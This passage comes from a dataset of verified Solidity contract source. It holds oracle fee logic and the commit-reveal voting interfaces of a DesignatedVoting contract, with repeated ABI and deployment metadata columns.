setWeeklyDelayFeePerSecondPerPfc(_weeklyDelayFeePerSecondPerPfc);
}
/****************************************
* ORACLE FEE CALCULATION AND PAYMENT *
****************************************/
/**
* @notice Pays Oracle fees in ETH to the store.
* @dev To be used by contracts whose margin currency is ETH.
*/
function payOracleFees() external payable override {
require(msg.value > 0, "Value sent can't be zero");
}
/**
* @notice Pays oracle fees in the margin currency, erc20Address, to the store.
* @dev To be used if the margin currency is an ERC20 token rather than ETH.
* @param erc20Address address of the ERC20 token used to pay the fee.
* @param amount number of tokens to transfer. An approval for at least this amount must exist.
*/
function payOracleFeesErc20(address erc20Address, FixedPoint.Unsigned calldata amount) external override {
IERC20 erc20 = IERC20(erc20Address);
require(amount.isGreaterThan(0), "Amount sent can't be zero");
erc20.safeTransferFrom(msg.sender, address(this), amount.rawValue);
}
/**
* @notice Computes the regular oracle fees that a contract should pay for a period.
* @dev The late penalty is similar to the regular fee in that is is charged per second over the period between
* startTime and endTime.
*
* The late penalty percentage increases over time as follows:
*
* - 0-1 week since startTime: no late penalty
*
* - 1-2 weeks since startTime: 1x late penalty percentage is applied
*
* - 2-3 weeks since startTime: 2x late penalty percentage is applied
*
* - ...
*
* @param startTime defines the beginning time from which the fee is paid.
* @param endTime end time until which the fee is paid.
* @param pfc "profit from corruption", or the maximum amount of margin currency that a
* token sponsor could extract from the contract through corrupting the price feed in their favor.
* @return regularFee amount owed for the duration from start to end time for the given pfc.
* @return latePenalty penalty percentage, if any, for paying the fee after the deadline.
*/
function computeRegularFee(
uint256 startTime,
uint256 endTime,
FixedPoint.Unsigned calldata pfc
) external view override returns (FixedPoint.Unsigned memory regularFee, FixedPoint.Unsigned memory latePenalty) {
uint256 timeDiff = endTime.sub(startTime);
// Multiply by the unscaled `timeDiff` first, to get more accurate results.
regularFee = pfc.mul(timeDiff).mul(fixedOracleFeePerSecondPerPfc);
// Compute how long ago the start time was to compute the delay penalty.
uint256 paymentDelay = getCurrentTime().sub(startTime);
// Compute the additional percentage (per second) that will be charged because of the penalty.
// Note: if less than a week has gone by since the startTime, paymentDelay / SECONDS_PER_WEEK will truncate to
// 0, causing no penalty to be charged.
FixedPoint.Unsigned memory penaltyPercentagePerSecond =
weeklyDelayFeePerSecondPerPfc.mul(paymentDelay.div(SECONDS_PER_WEEK));
// Apply the penaltyPercentagePerSecond to the payment period.
latePenalty = pfc.mul(timeDiff).mul(penaltyPercentagePerSecond);
}
/**
* @notice Computes the final oracle fees that a contract should pay at settlement.
* @param currency token used to pay the final fee.
* @return finalFee amount due denominated in units of `currency`.
*/
function computeFinalFee(address currency) external view override returns (FixedPoint.Unsigned memory) {
return finalFees[currency];
}
/****************************************
* ADMIN STATE MODIFYING FUNCTIONS *
****************************************/
/**
* @notice Sets a new oracle fee per second.
* @param newFixedOracleFeePerSecondPerPfc new fee per second charged to use the oracle.
*/
function setFixedOracleFeePerSecondPerPfc(FixedPoint.Unsigned memory newFixedOracleFeePerSecondPerPfc)
public
onlyRoleHolder(uint256(Roles.Owner))
{
// Oracle fees at or over 100% don't make sense.
require(newFixedOracleFeePerSecondPerPfc.isLessThan(1), "Fee must be < 100% per second.");
fixedOracleFeePerSecondPerPfc = newFixedOracleFeePerSecondPerPfc;
emit NewFixedOracleFeePerSecondPerPfc(newFixedOracleFeePerSecondPerPfc);
}
/**
* @notice Sets a new weekly delay fee.
* @param newWeeklyDelayFeePerSecondPerPfc fee escalation per week of late fee payment.
*/
function setWeeklyDelayFeePerSecondPerPfc(FixedPoint.Unsigned memory newWeeklyDelayFeePerSecondPerPfc)
public
onlyRoleHolder(uint256(Roles.Owner))
{
require(newWeeklyDelayFeePerSecondPerPfc.isLessThan(1), "weekly delay fee must be < 100%");
weeklyDelayFeePerSecondPerPfc = newWeeklyDelayFeePerSecondPerPfc;
emit NewWeeklyDelayFeePerSecondPerPfc(newWeeklyDelayFeePerSecondPerPfc);
}
/**
* @notice Sets a new final fee for a particular currency.
* @param currency defines the token currency used to pay the final fee.
* @param newFinalFee final fee amount.
*/
function setFinalFee(address currency, FixedPoint.Unsigned memory newFinalFee)
public
onlyRoleHolder(uint256(Roles.Owner))
{
finalFees[currency] = newFinalFee;
emit NewFinalFee(newFinalFee);
}
} | [{"inputs":[{"internalType":"address","name":"finderAddress","type":"address"},{"internalType":"address","name":"ownerAddress","type":"address"},{"internalType":"address","name":"voterAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"roleId","type":"uint256"},{"indexed":true,"internalType":"address","name":"newMember","type":"address"},{"indexed":true,"internalType":"address","name":"manager","type":"address"}],"name":"AddedSharedMember","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"roleId","type":"uint256"},{"indexed":true,"internalType":"address","name":"oldMember","type":"address"},{"indexed":true,"internalType":"address","name":"manager","type":"address"}],"name":"RemovedSharedMember","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"roleId","type":"uint256"},{"indexed":true,"internalType":"address","name":"newMember","type":"address"},{"indexed":true,"internalType":"address","name":"manager","type":"address"}],"name":"ResetExclusiveMember","type":"event"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"newMember","type":"address"}],"name":"addMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"components":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"bytes32","name":"hash","type":"bytes32"},{"internalType":"bytes","name":"encryptedVote","type":"bytes"}],"internalType":"struct VotingAncillaryInterface.CommitmentAncillary[]","name":"commits","type":"tuple[]"}],"name":"batchCommit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"components":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"int256","name":"price","type":"int256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"int256","name":"salt","type":"int256"}],"internalType":"struct VotingAncillaryInterface.RevealAncillary[]","name":"reveals","type":"tuple[]"}],"name":"batchReveal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"bytes32","name":"hash","type":"bytes32"}],"name":"commitVote","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"}],"name":"getMember","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"memberToCheck","type":"address"}],"name":"holdsRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"memberToRemove","type":"address"}],"name":"removeMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"}],"name":"renounceMembership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"newMember","type":"address"}],"name":"resetMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roundId","type":"uint256"},{"components":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"}],"internalType":"struct VotingAncillaryInterface.PendingRequestAncillary[]","name":"toRetrieve","type":"tuple[]"}],"name":"retrieveRewards","outputs":[{"components":[{"internalType":"uint256","name":"rawValue","type":"uint256"}],"internalType":"struct FixedPoint.Unsigned","name":"","type":"tuple"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"int256","name":"price","type":"int256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"int256","name":"salt","type":"int256"}],"name":"revealVote","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"erc20Address","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawErc20","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.6.12+commit.27d51765 | true | 199 | 00000000000000000000000040f941e48a552bf496b154af6bf55725f18d77c30000000000000000000000009a8f92a830a5cb89a3816e3d267cb7791c16b04d0000000000000000000000009a8f92a830a5cb89a3816e3d267cb7791c16b04d | Default | Unknown | false | ipfs://617d39572f2a704ccf2f89c018de5a76636c4d524dab1138bcb4599330f70518 |
||
DesignatedVoting | contracts/oracle/test/VotingInterfaceTest.sol | 0xa581ea2537f67ebe9f43d751e819bd918e809397 | Solidity | // SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/Testable.sol";
import "../interfaces/OracleInterface.sol";
import "../interfaces/VotingInterface.sol";
// A mock oracle used for testing. Exports the voting & oracle interfaces and events that contain no ancillary data.
abstract contract VotingInterfaceTesting is OracleInterface, VotingInterface, Testable {
using FixedPoint for FixedPoint.Unsigned;
// Events, data structures and functions not exported in the base interfaces, used for testing.
event VoteCommitted(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData
);
event EncryptedVote(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
bytes encryptedVote
);
event VoteRevealed(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
int256 price,
bytes ancillaryData,
uint256 numTokens
);
event RewardsRetrieved(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
uint256 numTokens
);
event PriceRequestAdded(uint256 indexed roundId, bytes32 indexed identifier, uint256 time);
event PriceResolved(
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
int256 price,
bytes ancillaryData
);
struct Round {
uint256 snapshotId; // Voting token snapshot ID for this round. 0 if no snapshot has been taken.
FixedPoint.Unsigned inflationRate; // Inflation rate set for this round.
FixedPoint.Unsigned gatPercentage; // Gat rate set for this round.
uint256 rewardsExpirationTime; // Time that rewards for this round can be claimed until.
}
// Represents the status a price request has.
enum RequestStatus {
NotRequested, // Was never requested.
Active, // Is being voted on in the current round.
Resolved, // Was resolved in a previous round.
Future // Is scheduled to be voted on in a future round.
}
// Only used as a return value in view methods -- never stored in the contract.
struct RequestState {
RequestStatus status;
uint256 lastVotingRound;
}
function rounds(uint256 roundId) public view virtual returns (Round memory);
function getPriceRequestStatuses(VotingInterface.PendingRequest[] memory requests)
public
view
virtual
returns (RequestState[] memory);
function getPendingPriceRequestsArray() external view virtual returns (bytes32[] memory);
} | [{"inputs":[{"internalType":"address","name":"finderAddress","type":"address"},{"internalType":"address","name":"ownerAddress","type":"address"},{"internalType":"address","name":"voterAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"roleId","type":"uint256"},{"indexed":true,"internalType":"address","name":"newMember","type":"address"},{"indexed":true,"internalType":"address","name":"manager","type":"address"}],"name":"AddedSharedMember","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"roleId","type":"uint256"},{"indexed":true,"internalType":"address","name":"oldMember","type":"address"},{"indexed":true,"internalType":"address","name":"manager","type":"address"}],"name":"RemovedSharedMember","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"roleId","type":"uint256"},{"indexed":true,"internalType":"address","name":"newMember","type":"address"},{"indexed":true,"internalType":"address","name":"manager","type":"address"}],"name":"ResetExclusiveMember","type":"event"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"newMember","type":"address"}],"name":"addMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"components":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"bytes32","name":"hash","type":"bytes32"},{"internalType":"bytes","name":"encryptedVote","type":"bytes"}],"internalType":"struct VotingAncillaryInterface.CommitmentAncillary[]","name":"commits","type":"tuple[]"}],"name":"batchCommit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"components":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"int256","name":"price","type":"int256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"int256","name":"salt","type":"int256"}],"internalType":"struct VotingAncillaryInterface.RevealAncillary[]","name":"reveals","type":"tuple[]"}],"name":"batchReveal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"bytes32","name":"hash","type":"bytes32"}],"name":"commitVote","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"}],"name":"getMember","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"memberToCheck","type":"address"}],"name":"holdsRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"memberToRemove","type":"address"}],"name":"removeMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"}],"name":"renounceMembership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"newMember","type":"address"}],"name":"resetMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roundId","type":"uint256"},{"components":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"}],"internalType":"struct VotingAncillaryInterface.PendingRequestAncillary[]","name":"toRetrieve","type":"tuple[]"}],"name":"retrieveRewards","outputs":[{"components":[{"internalType":"uint256","name":"rawValue","type":"uint256"}],"internalType":"struct FixedPoint.Unsigned","name":"","type":"tuple"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"int256","name":"price","type":"int256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"int256","name":"salt","type":"int256"}],"name":"revealVote","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"erc20Address","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawErc20","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.6.12+commit.27d51765 | true | 199 | 00000000000000000000000040f941e48a552bf496b154af6bf55725f18d77c30000000000000000000000009a8f92a830a5cb89a3816e3d267cb7791c16b04d0000000000000000000000009a8f92a830a5cb89a3816e3d267cb7791c16b04d | Default | Unknown | false | ipfs://617d39572f2a704ccf2f89c018de5a76636c4d524dab1138bcb4599330f70518 |
||
DesignatedVoting | contracts/oracle/interfaces/VotingInterface.sol | 0xa581ea2537f67ebe9f43d751e819bd918e809397 | Solidity | // SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
import "./VotingAncillaryInterface.sol";
/**
* @title Interface that voters must use to Vote on price request resolutions.
*/
abstract contract VotingInterface {
struct PendingRequest {
bytes32 identifier;
uint256 time;
}
// Captures the necessary data for making a commitment.
// Used as a parameter when making batch commitments.
// Not used as a data structure for storage.
struct Commitment {
bytes32 identifier;
uint256 time;
bytes32 hash;
bytes encryptedVote;
}
// Captures the necessary data for revealing a vote.
// Used as a parameter when making batch reveals.
// Not used as a data structure for storage.
struct Reveal {
bytes32 identifier;
uint256 time;
int256 price;
int256 salt;
}
/**
* @notice Commit a vote for a price request for `identifier` at `time`.
* @dev `identifier`, `time` must correspond to a price request that's currently in the commit phase.
* Commits can be changed.
* @dev Since transaction data is public, the salt will be revealed with the vote. While this is the system’s expected behavior,
* voters should never reuse salts. If someone else is able to guess the voted price and knows that a salt will be reused, then
* they can determine the vote pre-reveal.
* @param identifier uniquely identifies the committed vote. EG BTC/USD price pair.
* @param time unix timestamp of the price being voted on.
* @param hash keccak256 hash of the `price`, `salt`, voter `address`, `time`, current `roundId`, and `identifier`.
*/
function commitVote(
bytes32 identifier,
uint256 time,
bytes32 hash
) external virtual;
/**
* @notice Submit a batch of commits in a single transaction.
* @dev Using `encryptedVote` is optional. If included then commitment is stored on chain.
* Look at `project-root/common/Constants.js` for the tested maximum number of
* commitments that can fit in one transaction.
* @param commits array of structs that encapsulate an `identifier`, `time`, `hash` and optional `encryptedVote`.
*/
function batchCommit(Commitment[] memory commits) public virtual;
/**
* @notice commits a vote and logs an event with a data blob, typically an encrypted version of the vote
* @dev An encrypted version of the vote is emitted in an event `EncryptedVote` to allow off-chain infrastructure to
* retrieve the commit. The contents of `encryptedVote` are never used on chain: it is purely for convenience.
* @param identifier unique price pair identifier. Eg: BTC/USD price pair.
* @param time unix timestamp of for the price request.
* @param hash keccak256 hash of the price you want to vote for and a `int256 salt`.
* @param encryptedVote offchain encrypted blob containing the voters amount, time and salt.
*/
function commitAndEmitEncryptedVote(
bytes32 identifier,
uint256 time,
bytes32 hash,
bytes memory encryptedVote
) public virtual;
/**
* @notice snapshot the current round's token balances and lock in the inflation rate and GAT.
* @dev This function can be called multiple times but each round will only every have one snapshot at the
* time of calling `_freezeRoundVariables`.
* @param signature signature required to prove caller is an EOA to prevent flash loans from being included in the
* snapshot.
*/
function snapshotCurrentRound(bytes calldata signature) external virtual;
/**
* @notice Reveal a previously committed vote for `identifier` at `time`.
* @dev The revealed `price`, `salt`, `address`, `time`, `roundId`, and `identifier`, must hash to the latest `hash`
* that `commitVote()` was called with. Only the committer can reveal their vote.
* @param identifier voted on in the commit phase. EG BTC/USD price pair.
* @param time specifies the unix timestamp of the price is being voted on.
* @param price voted on during the commit phase.
* @param salt value used to hide the commitment price during the commit phase.
*/
function revealVote(
bytes32 identifier,
uint256 time,
int256 price,
int256 salt
) public virtual;
/**
* @notice Reveal multiple votes in a single transaction.
* Look at `project-root/common/Constants.js` for the tested maximum number of reveals.
* that can fit in one transaction.
* @dev For more information on reveals, review the comment for `revealVote`.
* @param reveals array of the Reveal struct which contains an identifier, time, price and salt.
*/
function batchReveal(Reveal[] memory reveals) public virtual;
/**
* @notice Gets the queries that are being voted on this round.
* @return pendingRequests `PendingRequest` array containing identifiers
* and timestamps for all pending requests.
*/
function getPendingRequests()
external
view
virtual
returns (VotingAncillaryInterface.PendingRequestAncillary[] memory);
/**
* @notice Returns the current voting phase, as a function of the current time.
* @return Phase to indicate the current phase. Either { Commit, Reveal, NUM_PHASES_PLACEHOLDER }.
*/
function getVotePhase() external view virtual returns (VotingAncillaryInterface.Phase);
/**
* @notice Returns the current round ID, as a function of the current time.
* @return uint256 representing the unique round ID.
*/
function getCurrentRoundId() external view virtual returns (uint256);
/**
* @notice Retrieves rewards owed for a set of resolved price requests.
* @dev Can only retrieve rewards if calling for a valid round and if the
* call is done within the timeout threshold (not expired).
* @param voterAddress voter for which rewards will be retrieved. Does not have to be the caller.
* @param roundId the round from which voting rewards will be retrieved from.
* @param toRetrieve array of PendingRequests which rewards are retrieved from.
* @return total amount of rewards returned to the voter.
*/
function retrieveRewards(
address voterAddress,
uint256 roundId,
PendingRequest[] memory toRetrieve
) public virtual returns (FixedPoint.Unsigned memory);
// Voting Owner functions.
/**
* @notice Disables this Voting contract in favor of the migrated one.
* @dev Can only be called by the contract owner.
* @param newVotingAddress the newly migrated contract address.
*/
function setMigrated(address newVotingAddress) external virtual;
/**
* @notice Resets the inflation rate. Note: this change only applies to rounds that have not yet begun.
* @dev This method is public because calldata structs are not currently supported by solidity.
* @param newInflationRate sets the next round's inflation rate.
*/
function setInflationRate(FixedPoint.Unsigned memory newInflationRate) public virtual;
/**
* @notice Resets the Gat percentage. Note: this change only applies to rounds that have not yet begun.
* @dev This method is public because calldata structs are not currently supported by solidity.
* @param newGatPercentage sets the next round's Gat percentage.
*/
function setGatPercentage(FixedPoint.Unsigned memory newGatPercentage) public virtual;
/**
* @notice Resets the rewards expiration timeout.
* @dev This change only applies to rounds that have not yet begun.
* @param NewRewardsExpirationTimeout how long a caller can wait before choosing to withdraw their rewards.
*/
function setRewardsExpirationTimeout(uint256 NewRewardsExpirationTimeout) public virtual;
} | [{"inputs":[{"internalType":"address","name":"finderAddress","type":"address"},{"internalType":"address","name":"ownerAddress","type":"address"},{"internalType":"address","name":"voterAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"roleId","type":"uint256"},{"indexed":true,"internalType":"address","name":"newMember","type":"address"},{"indexed":true,"internalType":"address","name":"manager","type":"address"}],"name":"AddedSharedMember","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"roleId","type":"uint256"},{"indexed":true,"internalType":"address","name":"oldMember","type":"address"},{"indexed":true,"internalType":"address","name":"manager","type":"address"}],"name":"RemovedSharedMember","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"roleId","type":"uint256"},{"indexed":true,"internalType":"address","name":"newMember","type":"address"},{"indexed":true,"internalType":"address","name":"manager","type":"address"}],"name":"ResetExclusiveMember","type":"event"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"newMember","type":"address"}],"name":"addMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"components":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"bytes32","name":"hash","type":"bytes32"},{"internalType":"bytes","name":"encryptedVote","type":"bytes"}],"internalType":"struct VotingAncillaryInterface.CommitmentAncillary[]","name":"commits","type":"tuple[]"}],"name":"batchCommit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"components":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"int256","name":"price","type":"int256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"int256","name":"salt","type":"int256"}],"internalType":"struct VotingAncillaryInterface.RevealAncillary[]","name":"reveals","type":"tuple[]"}],"name":"batchReveal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"bytes32","name":"hash","type":"bytes32"}],"name":"commitVote","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"}],"name":"getMember","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"memberToCheck","type":"address"}],"name":"holdsRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"memberToRemove","type":"address"}],"name":"removeMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"}],"name":"renounceMembership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"newMember","type":"address"}],"name":"resetMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roundId","type":"uint256"},{"components":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"}],"internalType":"struct VotingAncillaryInterface.PendingRequestAncillary[]","name":"toRetrieve","type":"tuple[]"}],"name":"retrieveRewards","outputs":[{"components":[{"internalType":"uint256","name":"rawValue","type":"uint256"}],"internalType":"struct FixedPoint.Unsigned","name":"","type":"tuple"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"int256","name":"price","type":"int256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"int256","name":"salt","type":"int256"}],"name":"revealVote","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"erc20Address","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawErc20","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.6.12+commit.27d51765 | true | 199 | 00000000000000000000000040f941e48a552bf496b154af6bf55725f18d77c30000000000000000000000009a8f92a830a5cb89a3816e3d267cb7791c16b04d0000000000000000000000009a8f92a830a5cb89a3816e3d267cb7791c16b04d | Default | Unknown | false | ipfs://617d39572f2a704ccf2f89c018de5a76636c4d524dab1138bcb4599330f70518 |
||
DesignatedVoting | contracts/oracle/interfaces/VotingAncillaryInterface.sol | 0xa581ea2537f67ebe9f43d751e819bd918e809397 | Solidity | // SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
/**
* @title Interface that voters must use to Vote on price request resolutions.
*/
abstract contract VotingAncillaryInterface {
struct PendingRequestAncillary {
bytes32 identifier;
uint256 time;
bytes ancillaryData;
}
// Captures the necessary data for making a commitment.
// Used as a parameter when making batch commitments.
// Not used as a data structure for storage.
struct CommitmentAncillary {
bytes32 identifier;
uint256 time;
bytes ancillaryData;
bytes32 hash;
bytes encryptedVote;
}
// Captures the necessary data for revealing a vote.
// Used as a parameter when making batch reveals.
// Not used as a data structure for storage.
struct RevealAncillary {
bytes32 identifier;
uint256 time;
int256 price;
bytes ancillaryData;
int256 salt;
}
// Note: the phases must be in order. Meaning the first enum value must be the first phase, etc.
// `NUM_PHASES_PLACEHOLDER` is to get the number of phases. It isn't an actual phase, and it should always be last.
enum Phase { Commit, Reveal, NUM_PHASES_PLACEHOLDER }
/**
* @notice Commit a vote for a price request for `identifier` at `time`.
* @dev `identifier`, `time` must correspond to a price request that's currently in the commit phase.
* Commits can be changed.
* @dev Since transaction data is public, the salt will be revealed with the vote. While this is the system’s expected behavior,
* voters should never reuse salts. If someone else is able to guess the voted price and knows that a salt will be reused, then
* they can determine the vote pre-reveal.
* @param identifier uniquely identifies the committed vote. EG BTC/USD price pair.
* @param time unix timestamp of the price being voted on.
* @param hash keccak256 hash of the `price`, `salt`, voter `address`, `time`, current `roundId`, and `identifier`.
*/
function commitVote(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData,
bytes32 hash
) public virtual;
/**
* @notice Submit a batch of commits in a single transaction.
* @dev Using `encryptedVote` is optional. If included then commitment is stored on chain.
* Look at `project-root/common/Constants.js` for the tested maximum number of
* commitments that can fit in one transaction.
* @param commits array of structs that encapsulate an `identifier`, `time`, `hash` and optional `encryptedVote`.
*/
function batchCommit(CommitmentAncillary[] memory commits) public virtual;
/**
* @notice commits a vote and logs an event with a data blob, typically an encrypted version of the vote
* @dev An encrypted version of the vote is emitted in an event `EncryptedVote` to allow off-chain infrastructure to
* retrieve the commit. The contents of `encryptedVote` are never used on chain: it is purely for convenience.
* @param identifier unique price pair identifier. Eg: BTC/USD price pair.
* @param time unix timestamp of for the price request.
* @param hash keccak256 hash of the price you want to vote for and a `int256 salt`.
* @param encryptedVote offchain encrypted blob containing the voters amount, time and salt.
*/
function commitAndEmitEncryptedVote(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData,
bytes32 hash,
bytes memory encryptedVote
) public virtual;
/**
* @notice snapshot the current round's token balances and lock in the inflation rate and GAT.
* @dev This function can be called multiple times but each round will only every have one snapshot at the
* time of calling `_freezeRoundVariables`.
* @param signature signature required to prove caller is an EOA to prevent flash loans from being included in the
* snapshot.
*/
function snapshotCurrentRound(bytes calldata signature) external virtual;
/**
* @notice Reveal a previously committed vote for `identifier` at `time`.
* @dev The revealed `price`, `salt`, `address`, `time`, `roundId`, and `identifier`, must hash to the latest `hash`
* that `commitVote()` was called with. Only the committer can reveal their vote.
* @param identifier voted on in the commit phase. EG BTC/USD price pair.
* @param time specifies the unix timestamp of the price is being voted on.
* @param price voted on during the commit phase.
